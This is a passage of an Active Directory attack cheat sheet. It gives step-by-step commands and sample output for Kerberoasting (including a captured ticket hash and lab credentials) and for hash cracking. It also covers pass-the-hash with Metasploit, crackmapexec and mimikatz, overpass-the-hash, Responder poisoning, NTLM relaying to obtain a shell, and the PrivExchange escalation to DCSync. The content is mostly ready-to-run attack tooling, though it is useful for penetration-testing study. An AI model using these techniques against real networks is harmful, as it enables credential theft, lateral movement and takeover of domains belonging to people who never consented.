SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names) Any valid domain user can request a kerberos ticket for any domain service with `GetUserSPNs`. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as. ```powershell $ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies ServicePrincipalName Name MemberOf PasswordLastSet LastLogon -------------------- ------------- -------------------------------------------------------- ------------------- ------------------- active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11 $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f4903deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439dc54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a86ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab0955f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df8179728821cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9edb970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea39ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e496db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fad91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda33de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c883519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0ab695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e747085142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb2583757953247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d871406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2 ``` Then crack the ticket with hashcat or john ```powershell hashcat -m 13100 -a 0 hash.txt crackstation.txt ./john ~/hash.txt --wordlist=rockyou.lst ``` ### Pass-the-Hash The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. ```powershell use exploit/windows/smb/psexec set RHOST 10.2.0.3 set SMBUser jarrieta set SMBPass nastyCutt3r # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack. # NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee) set PAYLOAD windows/meterpreter/bind_tcp run shell or with crackmapexec cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami" also works with net range : cme smb 10.2.0.2/24 ... or with psexec proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d or with the builtin Windows RDP and mimikatz sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin" ``` ### OverPass-the-Hash (pass the key) Request a TGT with only the NT hash ```powershell Using impacket ./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com chmod 600 tgwynn.ccache also with the AES Key if you have it ./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5 kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM klist ``` ### Capturing and cracking NTLMv2 hashes If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network. ```python python Responder.py -I eth0 ``` Then crack the hash with `hashcat` ```powershell hashcat -m 5600 -a 0 hash.txt crackstation.txt ``` ### NTLMv2 hashes relaying If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine. 1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`. 2. Run `python RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`. 3. Run `python Responder.py -I <interface_card>` and `python MultiRelay.py -t <target_machine_IP> -u ALL` 4. Wait for a shell ### Dangerous Built-in Groups Usage AdminSDHolder ```powershell Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)" Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)" or ([adsisearcher]"(AdminCount=1)").findall() ``` ### Trust relationship between domains ```powershell nltest /trusted_domains ``` or ```powershell ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() SourceName TargetName TrustType TrustDirection ---------- ---------- --------- -------------- domainA.local domainB.local TreeRoot Bidirectional ``` ### PrivExchange attack Exchange your privileges for Domain Admin privs by abusing Exchange. You need a shell on a user account with a mailbox. 1. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. ```bash # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx # https://github.com/G0ldenGunSec/PowerPriv powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016 ``` 2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket). 3. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash ```bash python secretsdump.py xxxxxxxxxx -just-dc ``` ## Privilege Escalation ### PrivEsc Local Admin -
